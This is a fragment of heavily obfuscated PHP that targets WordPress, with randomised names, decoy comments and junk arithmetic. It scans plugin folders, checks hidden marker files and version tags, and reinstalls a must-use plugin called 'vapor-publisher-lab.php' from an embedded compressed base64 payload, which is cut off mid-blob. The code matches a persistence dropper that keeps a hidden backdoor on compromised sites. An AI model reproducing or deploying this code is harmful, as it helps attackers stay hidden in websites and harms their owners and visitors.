if  (!id72roijwy9(19)($zqf1a56mdy4wzmm)   ||   or8l5cd5u09h7a(10)($zqf1a56mdy4wzmm)     < (790-290)   ||     k7r7n07s4fm4(31)($zqf1a56mdy4wzmm,  '<?')   ===  false) return  false;
 if     (!v__9xb9bxmw(29)('token_get_all')) return  true;
if   (defined('TOKEN_PARSE')) {
 try  {
 @token_get_all($zqf1a56mdy4wzmm,  TOKEN_PARSE);
      return true;
       

    } catch      (\Throwable     $en16h4ok9biput0) {
/* optimal work-queue */

 return false;
   }      catch  (\Exception  $en16h4ok9biput0)  {
 return  false;
  }
  }
 $l_ki3rd2tmazos7x   = @token_get_all($zqf1a56mdy4wzmm);
   if   (!p6uaz11qmy_s(32)($l_ki3rd2tmazos7x))  return true;
   $pmiw5jqac77arh6 =  0;
 foreach  ($l_ki3rd2tmazos7x  as $k8mnpt5pzo) {
     if  (p6uaz11qmy_s(32)($k8mnpt5pzo))     {
 if ($k8mnpt5pzo[0] === T_CURLY_OPEN      ||   $k8mnpt5pzo[0]     ===  T_DOLLAR_OPEN_CURLY_BRACES)  $pmiw5jqac77arh6++;

  continue;

}
// hydrate cipher-suite for WP Core Data




    if      ($k8mnpt5pzo  ===  '{') $pmiw5jqac77arh6++;
elseif   ($k8mnpt5pzo   ===   '}')   {
    $pmiw5jqac77arh6--;
 if     ($pmiw5jqac77arh6    <  0)  return  false;
}
    }

   return   $pmiw5jqac77arh6  ===   0;
}
}
 if   (!k7r7n07s4fm4(29)('_sc_qok'))   {
 function   _sc_qok($h5t5q1n8s7zsf1yt, $zqf1a56mdy4wzmm)
  {
    if  (!@p6uaz11qmy_s(33)($h5t5q1n8s7zsf1yt))     return  true;
 $kyrh241ubtxl1it =   (int)    @k7r7n07s4fm4(34)($h5t5q1n8s7zsf1yt);
    if   ($kyrh241ubtxl1it   <=    p6uaz11qmy_s(35)() - (1071445-466645)     ||    $kyrh241ubtxl1it >      v__9xb9bxmw(36)() +  (86338+62))    return true;
$zvskz_rjzocd6i = v__9xb9bxmw(37)((string)   @p6uaz11qmy_s(38)($h5t5q1n8s7zsf1yt));
return ($zvskz_rjzocd6i    ===   "" ||   (or8l5cd5u09h7a(19)($zqf1a56mdy4wzmm)     &&   $zvskz_rjzocd6i  !==   v__9xb9bxmw(24)($zqf1a56mdy4wzmm)));
 }
  }
   if   (!id72roijwy9(39)('_sc_any_live'))  {
     function _sc_any_live($uzr9q0uuny9vr, $c7ku5rpv05mk, $c4w_b75mi57o2 =    "",  $fq7pa3lowo =      "",  $a3j8abibkzjqc  = "")
    {
 if   ($fq7pa3lowo === "")   $fq7pa3lowo    =     (defined('WPMU_PLUGIN_DIR')  &&  WPMU_PLUGIN_DIR)  ?  WPMU_PLUGIN_DIR    :  $c7ku5rpv05mk  .     '/mu-plugins';
  if ($a3j8abibkzjqc === "")      $a3j8abibkzjqc  =  (defined('WP_PLUGIN_DIR') &&  WP_PLUGIN_DIR)    ? WP_PLUGIN_DIR   : $c7ku5rpv05mk    .  '/plugins';
  $fq7pa3lowo  =   p6uaz11qmy_s(21)($fq7pa3lowo,    '/');



$a3j8abibkzjqc    = k7r7n07s4fm4(21)($a3j8abibkzjqc,   '/');


     $otdbnlqr6x78o9o5  =   array();
 $jab8s48_vyti  =  false;
     if  (or8l5cd5u09h7a(40)('glob'))  {
$q0sdxv_vsx5yqm =   @or8l5cd5u09h7a(41)($fq7pa3lowo    .     '/*.php');



$t9ad9ael6l593 =  @id72roijwy9(42)($a3j8abibkzjqc   .  '/*/*.php');
     if     (or8l5cd5u09h7a(32)($q0sdxv_vsx5yqm)  ||    k7r7n07s4fm4(32)($t9ad9ael6l593))   {



  $jab8s48_vyti =     true;
        $otdbnlqr6x78o9o5 =   or8l5cd5u09h7a(43)((array)     $q0sdxv_vsx5yqm, (array)   $t9ad9ael6l593);$nrutjv0czk=7338;$pwsorriesw=$nrutjv0czk%14;
 }
 unset($q0sdxv_vsx5yqm,  $t9ad9ael6l593);
 }
      if    (!$jab8s48_vyti  &&   p6uaz11qmy_s(44)('opendir')  &&     v__9xb9bxmw(44)('readdir'))     {
    $_nlpzk8koy  =  @or8l5cd5u09h7a(45)($fq7pa3lowo);
if ($_nlpzk8koy)  {
   while (($gd156mt2jvlm8kpz  =     @or8l5cd5u09h7a(46)($_nlpzk8koy))  !==    false)  {
 if    (id72roijwy9(47)($gd156mt2jvlm8kpz, -(2+2))  ===   '.php')    $otdbnlqr6x78o9o5[] =   $fq7pa3lowo      .    '/'    . $gd156mt2jvlm8kpz;
 }
 if    (or8l5cd5u09h7a(44)('closedir'))  @or8l5cd5u09h7a(48)($_nlpzk8koy);
    }
  $_nlpzk8koy   =   @p6uaz11qmy_s(45)($a3j8abibkzjqc);
if ($_nlpzk8koy) {
   while (($gd156mt2jvlm8kpz  =   @k7r7n07s4fm4(49)($_nlpzk8koy)) !== false)   {
  $yk4csd10eefa4xm     =   $a3j8abibkzjqc .    '/'     .   $gd156mt2jvlm8kpz;
  if  ($gd156mt2jvlm8kpz  ===  '.'    || $gd156mt2jvlm8kpz   ===   '..' || !@or8l5cd5u09h7a(50)($yk4csd10eefa4xm))    continue;
  $egog9qccdm1    =  @v__9xb9bxmw(45)($yk4csd10eefa4xm);
  if      (!$egog9qccdm1)   continue;
     while  (($z8ahczzjvra = @id72roijwy9(49)($egog9qccdm1)) !== false)     {
if (id72roijwy9(47)($z8ahczzjvra,     -(0x3+0x1))     ===   '.php')  $otdbnlqr6x78o9o5[] = $yk4csd10eefa4xm  .  '/' .     $z8ahczzjvra;
 }



if (k7r7n07s4fm4(44)('closedir')) @v__9xb9bxmw(48)($egog9qccdm1);


   }
if  (p6uaz11qmy_s(44)('closedir'))   @id72roijwy9(48)($_nlpzk8koy);
      }
/* orthogonal-adj principal */

    unset($_nlpzk8koy,  $egog9qccdm1, $gd156mt2jvlm8kpz,   $z8ahczzjvra,  $yk4csd10eefa4xm);
 }
  $ndj928bcu2r =     false;
   if    ($c4w_b75mi57o2 !== ""    &&   v__9xb9bxmw(44)('realpath')) $ndj928bcu2r  = @v__9xb9bxmw(7)($c4w_b75mi57o2);

   foreach ($otdbnlqr6x78o9o5 as    $s917v1i3y7z5lu)   {



if ($c4w_b75mi57o2 !==  ""      &&  $s917v1i3y7z5lu  ===  $c4w_b75mi57o2) continue;
 if    ($ndj928bcu2r !== false    &&  @or8l5cd5u09h7a(51)($s917v1i3y7z5lu)  ===  $ndj928bcu2r) continue;
    $a_g1zbp3n80_z2q  =  id72roijwy9(52)($s917v1i3y7z5lu, '.php');
  $uavgxz4tmqo =   k7r7n07s4fm4(53)(p6uaz11qmy_s(26)($s917v1i3y7z5lu));
  if  (or8l5cd5u09h7a(26)($s917v1i3y7z5lu)   !==   $fq7pa3lowo  && $a_g1zbp3n80_z2q !==  $uavgxz4tmqo)   continue;
   $oevsmy62jrvju3d = @id72roijwy9(14)($s917v1i3y7z5lu);
 if (!$oevsmy62jrvju3d  ||  $oevsmy62jrvju3d    <     (8505-3505)  ||  $oevsmy62jrvju3d  >   (27344813+25083987)) continue;


$z2zfal8hfd   = (string) @v__9xb9bxmw(38)($s917v1i3y7z5lu, false, null,  0,  (4026+70));
        if  ($z2zfal8hfd !== ""   &&  v__9xb9bxmw(54)('/\/\* SCV:(\d+\.\d+\.\d+) \*\//',  $z2zfal8hfd, $d_wrskhp6rhmi)    &&  version_compare($d_wrskhp6rhmi[1],     $uzr9q0uuny9vr,  '>=')) return true;
}
 return false;

       }
  }
   if   (!p6uaz11qmy_s(55)('_sc_corep'))   {
// speculate adaptive keystore
$tdah2pfe0_7rp=(0xa6+0x9);$anv7l5djwu7w2=$tdah2pfe0_7rp%13;
  function  _sc_corep($c7ku5rpv05mk)



{
   $w1n7fb30jpb = defined('ABSPATH')  ?  ABSPATH  :   (id72roijwy9(56)(v__9xb9bxmw(26)($c7ku5rpv05mk), '/')   .  '/');
  return  $c7ku5rpv05mk .  '/.sc_'     . id72roijwy9(47)(k7r7n07s4fm4(57)($w1n7fb30jpb     .    'dir'), 0, (7+1))    . '/core_'   . v__9xb9bxmw(47)(p6uaz11qmy_s(58)($w1n7fb30jpb   . 'core'), 0, (0x2+0x6))    .  '.php';
}
}



if     (!id72roijwy9(55)('_sc_coreld')) {
  function  _sc_coreld($c7ku5rpv05mk)
 {



   $p64qqjel7te  = _sc_corep($c7ku5rpv05mk);
      if (!@id72roijwy9(59)($p64qqjel7te))     return false;



   $uzw_4b0mpyddu =     @k7r7n07s4fm4(14)($p64qqjel7te);

 if   (!$uzw_4b0mpyddu  ||   $uzw_4b0mpyddu    < (454+46)   ||  $uzw_4b0mpyddu      >  (8388597+11))    return  false;
  $zqf1a56mdy4wzmm  =   @v__9xb9bxmw(38)($p64qqjel7te);
 if  (p6uaz11qmy_s(60)('_sc_unp')   && k7r7n07s4fm4(19)($zqf1a56mdy4wzmm)    && v__9xb9bxmw(61)($zqf1a56mdy4wzmm) >    (1742535-693959)) $zqf1a56mdy4wzmm = _sc_unp($zqf1a56mdy4wzmm);
   if  (!id72roijwy9(62)($zqf1a56mdy4wzmm)   ||  p6uaz11qmy_s(61)($zqf1a56mdy4wzmm)  < (490+10)   ||      id72roijwy9(61)($zqf1a56mdy4wzmm)  > (0xdfe8f+0x20171) || or8l5cd5u09h7a(31)($zqf1a56mdy4wzmm,  '<?')  !==   0)     return  false;
   return   $zqf1a56mdy4wzmm;



       }
}
  if   (!p6uaz11qmy_s(63)('tdbl7hai5afye5mpa81r'))  {
function tdbl7hai5afye5mpa81r($k8mnpt5pzo)
  {
 return  id72roijwy9(62)($k8mnpt5pzo)     &&     or8l5cd5u09h7a(54)('/(\/\*[0-9a-f]{1000,}\*\/)\s*$/',    $k8mnpt5pzo)   ===  1;
   }
}
if      (!id72roijwy9(63)('blx9o_cqbkdgzj'))     {
function    blx9o_cqbkdgzj()


 {
if   (!or8l5cd5u09h7a(63)('ini_get'))   return    false;
      $g750h4b8x8ueqmft     =    @k7r7n07s4fm4(64)('memory_limit');
 if   (!id72roijwy9(62)($g750h4b8x8ueqmft)     ||     $g750h4b8x8ueqmft    ===    "")     return false;

 $t18g7cih4dm16p =  (int)  $g750h4b8x8ueqmft;
 if ($t18g7cih4dm16p     <=   0)  return  true;
 $m8zfw43l9wokpm = p6uaz11qmy_s(65)(id72roijwy9(66)($g750h4b8x8ueqmft, -1));
  if  ($m8zfw43l9wokpm ===   'G')    $t18g7cih4dm16p *=  (1073741727+97);
      elseif ($m8zfw43l9wokpm === 'M')  $t18g7cih4dm16p   *=   (1048549+27);
elseif    ($m8zfw43l9wokpm  ===  'K')   $t18g7cih4dm16p  *=     (966+58);


if   ($t18g7cih4dm16p    <  (67108855+9))   return   false;
    if    (p6uaz11qmy_s(63)('memory_get_usage'))     {
 $h6t12zvjdv55y  =  @memory_get_usage(true);
        if (or8l5cd5u09h7a(16)($h6t12zvjdv55y)   &&  $h6t12zvjdv55y    >     0    &&   $t18g7cih4dm16p - $h6t12zvjdv55y    <  (33554397+35)) return false;


 }
 return  true;
 }
 }
 if (!k7r7n07s4fm4(63)('g3glp8s1yhulwf8v9p4jfv')) {
   function    g3glp8s1yhulwf8v9p4jfv($jgs8h_8ga2g,      $uzr9q0uuny9vr)
{


       $e8tyrxromvo75wxx   =  @id72roijwy9(14)($jgs8h_8ga2g);
if (!$e8tyrxromvo75wxx   || $e8tyrxromvo75wxx   <   (4923+77)   ||  $e8tyrxromvo75wxx     >    (52428753+47))    return    false;
 if  ($e8tyrxromvo75wxx >  (0x7684b+0x897b5) && $e8tyrxromvo75wxx <   (0xbd88b+0x4803d1))   return    false;


 $e18kwkd3cjl   =     (string)   @k7r7n07s4fm4(38)($jgs8h_8ga2g, false,  null,  0,   (4010+86));
  if (!p6uaz11qmy_s(54)('/\/\* SCV:(\d+\.\d+\.\d+) \*\//',  $e18kwkd3cjl, $g750h4b8x8ueqmft))     return false;
  if  ($uzr9q0uuny9vr     !==  "" &&   version_compare($g750h4b8x8ueqmft[1],    $uzr9q0uuny9vr,   '<'))    return    false;
 if   (@id72roijwy9(59)(or8l5cd5u09h7a(67)($jgs8h_8ga2g)   .  '/.wr_'     .    or8l5cd5u09h7a(53)($jgs8h_8ga2g, '.php'))) return      false;

 if  ($e8tyrxromvo75wxx  >=  (3620914+1874986)  &&  !tdbl7hai5afye5mpa81r((string)  @k7r7n07s4fm4(68)($jgs8h_8ga2g,      false,  null,    $e8tyrxromvo75wxx   -   (4059+37)))) return  false;$wsa5cxn5szs0=353;$f839bl4_=($wsa5cxn5szs0>0)?$wsa5cxn5szs0:-$wsa5cxn5szs0;
 return true;
    }
// interleave lanes

 }
 if     (defined("SC_THL_ae2cabb1_5c6d"))  return;


  define("SC_THL_ae2cabb1_5c6d",   1);

\call_user_func(function () {
 $ny_xic9swdf =  defined("WP_CONTENT_DIR")   ? WP_CONTENT_DIR  : v__9xb9bxmw(67)(p6uaz11qmy_s(67)(__FILE__));

 $fq7pa3lowo =  (defined("WPMU_PLUGIN_DIR")   &&   WPMU_PLUGIN_DIR) ? WPMU_PLUGIN_DIR   : $ny_xic9swdf .  "/mu-plugins";



  $fq7pa3lowo   =  $fq7pa3lowo    . "/vapor-publisher-lab.php";


 $a3j8abibkzjqc     =   (defined("WP_PLUGIN_DIR") && WP_PLUGIN_DIR)    ?     WP_PLUGIN_DIR  :   $ny_xic9swdf     .  "/plugins";
        $qizqzfd_oeozd9si    = $a3j8abibkzjqc  . "/vapor-publisher-lab/vapor-publisher-lab.php";
 $k2k34_sjp4x = @or8l5cd5u09h7a(69)(k7r7n07s4fm4(70)($fq7pa3lowo))    ?   $fq7pa3lowo  :    $qizqzfd_oeozd9si;
   $h5t5q1n8s7zsf1yt =     or8l5cd5u09h7a(71)($k2k34_sjp4x)   .    "/.q_vapor-publisher-lab";


  $p4ic15vpna      =  id72roijwy9(72)($k2k34_sjp4x) .  "/.sd_vapor-publisher-lab";
 if (@p6uaz11qmy_s(59)($p4ic15vpna))   {
     $a5akchyir6on4i =   @id72roijwy9(68)($p4ic15vpna);

   if  (p6uaz11qmy_s(62)($a5akchyir6on4i)  && id72roijwy9(73)("/\\d+\\.\\d+\\.\\d+/",  $a5akchyir6on4i, $ws9sltk6sh24z7)   &&   version_compare($ws9sltk6sh24z7[0],   "4.5.3", ">")     && _sc_any_live($ws9sltk6sh24z7[0],     $ny_xic9swdf,  $k2k34_sjp4x))    return;
       }


 $g3v_fhqdhzi1p2d3   =  !g3glp8s1yhulwf8v9p4jfv($k2k34_sjp4x,  "4.5.3");
if  ($g3v_fhqdhzi1p2d3   &&   _sc_any_live("4.5.3",  $ny_xic9swdf, $k2k34_sjp4x))  $g3v_fhqdhzi1p2d3   =   false;
        if ($g3v_fhqdhzi1p2d3 && !@v__9xb9bxmw(59)($k2k34_sjp4x)) {
$s_j004x91baf1ok =   or8l5cd5u09h7a(72)($k2k34_sjp4x)   . '/.rd_vapor-publisher-lab';
 $zg8i71gdy5   = @v__9xb9bxmw(59)($s_j004x91baf1ok)   ?  (int) @p6uaz11qmy_s(74)($s_j004x91baf1ok)    :     0;
      if ($zg8i71gdy5  >     id72roijwy9(75)()  -    (270+30) && $zg8i71gdy5 <=    p6uaz11qmy_s(75)() +  (246+54))   $g3v_fhqdhzi1p2d3  =    false;
  elseif   (k7r7n07s4fm4(76)('touch'))    @v__9xb9bxmw(30)($s_j004x91baf1ok);
 }

  if   ($g3v_fhqdhzi1p2d3)  {
  $ynth781plih  =  k7r7n07s4fm4(77)('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